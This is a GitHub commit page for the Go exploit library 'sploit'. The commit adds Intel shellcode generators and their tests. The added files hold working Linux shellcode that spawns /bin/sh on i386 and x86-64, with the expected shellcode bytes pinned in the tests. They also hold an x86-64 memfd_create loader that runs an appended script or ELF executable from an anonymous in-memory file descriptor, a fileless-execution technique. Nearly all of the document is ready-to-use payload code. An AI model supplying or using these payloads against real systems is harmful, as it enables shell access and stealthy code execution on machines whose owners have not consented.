-
Notifications
You must be signed in to change notification settings - Fork 21
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #25 from zznop/23-shellcode
Initial intel shellcode implementations
- Loading branch information
Showing
6 changed files
with
238 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,37 @@ | ||
package shellcode | ||
|
||
import ( | ||
sp "github.com/zznop/sploit" | ||
) | ||
|
||
// I386 is a shellcode interface for 32-bit intel processors | ||
type I386 struct { | ||
arch *sp.Processor | ||
} | ||
|
||
// NewI386 returns a pointer to a I386 type | ||
func NewI386() *I386 { | ||
arch := &sp.Processor{ | ||
Architecture: sp.ArchI386, | ||
Endian: sp.LittleEndian, | ||
} | ||
|
||
return &I386{ | ||
arch: arch, | ||
} | ||
} | ||
|
||
// LinuxShell is a method for JIT compiling shellcode that executes /bin/sh | ||
func (i386 *I386) LinuxShell() ([]byte, error) { | ||
instrs := ` | ||
xor ecx, ecx | ||
mul ecx | ||
push ecx | ||
push 0x68732f2f | ||
push 0x6e69622f | ||
mov ebx, esp | ||
mov al, 0xb | ||
int 0x80 | ||
` | ||
return sp.Asm(i386.arch, instrs) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
package shellcode | ||
|
||
import ( | ||
"bytes" | ||
"testing" | ||
) | ||
|
||
func TestI386LinuxShell(t *testing.T) { | ||
i386 := NewI386() | ||
shellcode, err := i386.LinuxShell() | ||
if err != nil { | ||
t.Fatal(err) | ||
} | ||
|
||
scBytes := []byte{0x31, 0xc9, 0xf7, 0xe1, 0x51, 0x68, 0x2f, 0x2f, | ||
0x73, 0x68, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, | ||
0xe3, 0xb0, 0x0b, 0xcd, 0x80} | ||
|
||
if bytes.Compare(shellcode, scBytes) != 0 { | ||
t.Fatal("Shellcode bytes != expected") | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,122 @@ | ||
package shellcode | ||
|
||
import ( | ||
"bytes" | ||
sp "github.com/zznop/sploit" | ||
) | ||
|
||
// X8664 is a shellcode interface for 64-bit intel processors | ||
type X8664 struct { | ||
arch *sp.Processor | ||
} | ||
|
||
// NewX8664 returns a pointer to a shellcode X8664 type | ||
func NewX8664() *X8664 { | ||
arch := &sp.Processor{ | ||
Architecture: sp.ArchX8664, | ||
Endian: sp.LittleEndian, | ||
} | ||
|
||
return &X8664{ | ||
arch: arch, | ||
} | ||
} | ||
|
||
// LinuxMemFdExec constructs a payload to run the supplied executable in an anonymous file descriptor | ||
func (x8664 *X8664) LinuxMemFdExec(payload []byte) ([]byte, error) { | ||
instrs := ` | ||
jmp past | ||
executable_size: .quad 0x4141414141414141 /* fixed up with size of executable */ | ||
fd_name: .byte 0 /* emtpy file descriptor name */ | ||
fd_path: .ascii "/proc/self/fd/\0\0\0\0\0" /* path to file descriptor for exec call */ | ||
past: | ||
mov rax, 319 /* __NR_memfd_create syscall num */ | ||
lea rdi, [rip+fd_name] /* ptr to empty file descriptor name */ | ||
mov rsi, 1 /* MFD_CLOEXEC (close file descriptor on exec) */ | ||
syscall /* create anonymous fd */ | ||
test rax, rax /* good file descriptor? */ | ||
js done /* return if bad file descriptor */ | ||
mov rdi, rax /* file descriptor (arg_0) */ | ||
mov rax, 1 /* __NR_write */ | ||
lea rsi, [rip+executable] /* pointer to executable base (arg_1) */ | ||
mov rdx, qword [rip+executable_size] /* load size of executable into rdx (arg_2) */ | ||
syscall /* write the executable to the fd */ | ||
cmp rax, rdx /* did everything get written successfully? */ | ||
jnz done /* fail out if all bytes were not written */ | ||
call fixup_fd_path /* fixup the fd path string by converting the fd to a str */ | ||
mov rax, 59 /* execve syscall num */ | ||
lea rdi, [rip+fd_path] /* filename */ | ||
xor rcx, rcx /* zeroize rcx (terminator for argv) */ | ||
push rcx /* push 0 to stack */ | ||
push rdi /* push address of fd path to the stack */ | ||
mov rsi, rsp /* argv (address of fd path, null) */ | ||
xor rdx, rdx /* envp = NULL */ | ||
syscall /* call execve (won't return if successful) */ | ||
add rsp, 16 /* restore the stack */ | ||
done: | ||
ret /* return */ | ||
/* | ||
* fixup the fd path string with the file descrpitor - | ||
* basically sprintf(foo, "/proc/self/fd/%i", fd) | ||
*/ | ||
fixup_fd_path: | ||
mov rax, rdi /* number to be converted */ | ||
mov rcx, 10 /* divisor */ | ||
xor bx, bx /* count digits */ | ||
.divide: | ||
xor rdx, rdx /* high part = 0 */ | ||
div rcx /* rcx = rcx:rax/rcx, rdx = remainder */ | ||
push dx /* dx is a digit in range [0..9] */ | ||
inc bx /* count digits */ | ||
test rax, rax /* rax is 0? */ | ||
jnz .divide /* no, continue */ | ||
/* pop digits from stack in reverse order */ | ||
mov cx, bx /* number of digits */ | ||
lea rsi, [rip+fd_path] /* rsi points to fd path string buffer */ | ||
add rsi, 14 /* start of location to write the fd (as a string) */ | ||
.next_digit: | ||
pop ax | ||
add al, '0' /* convert to ASCII */ | ||
mov [rsi], al /* write it to the buffer */ | ||
inc si | ||
loop .next_digit | ||
ret | ||
/* appended script or ELF executable */ | ||
executable: | ||
` | ||
unconfigured, err := sp.Asm(x8664.arch, instrs) | ||
if err != nil { | ||
return nil, err | ||
} | ||
|
||
size := sp.PackUint64LE(uint64(len(payload))) | ||
configured := bytes.Replace(unconfigured, []byte{0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}, size, 1) | ||
configured = append(configured, payload...) | ||
return configured, nil | ||
} | ||
|
||
// LinuxShell is a method for JIT compiling x86-64 shellcode that executes /bin/sh | ||
func (x8664 *X8664) LinuxShell() ([]byte, error) { | ||
instrs := ` | ||
xor eax, eax | ||
mov rbx, 0xFF978CD091969DD1 | ||
neg rbx | ||
push rbx | ||
push rsp | ||
pop rdi | ||
cdq | ||
push rdx | ||
push rdi | ||
push rsp | ||
pop rsi | ||
mov al, 0x3b | ||
syscall | ||
` | ||
return sp.Asm(x8664.arch, instrs) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,41 @@ | ||
package shellcode | ||
|
||
import ( | ||
"bytes" | ||
"testing" | ||
) | ||
|
||
func TestX8664MemFdExec(t *testing.T) { | ||
payload := ` | ||
#/bin/bash | ||
echo "Hello from memfd_create exec sploit shellcode" > ./success.txt | ||
` | ||
|
||
x8664 := NewX8664() | ||
shellcode, err := x8664.LinuxMemFdExec([]byte(payload)) | ||
if err != nil { | ||
t.Fatal(err) | ||
} | ||
|
||
if len(shellcode) != 263 { | ||
t.Fatal("Shellcode size != 263") | ||
} | ||
} | ||
|
||
func TestX8664LinuxShell(t *testing.T) { | ||
x8664 := NewX8664() | ||
shellcode, err := x8664.LinuxShell() | ||
if err != nil { | ||
t.Fatal(err) | ||
} | ||
|
||
scBytes := []byte{0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, | ||
0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, | ||
0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, | ||
0x3b, 0x0f, 0x05} | ||
|
||
if bytes.Compare(shellcode, scBytes) != 0 { | ||
t.Fatal("Shellcode bytes != expected") | ||
} | ||
} |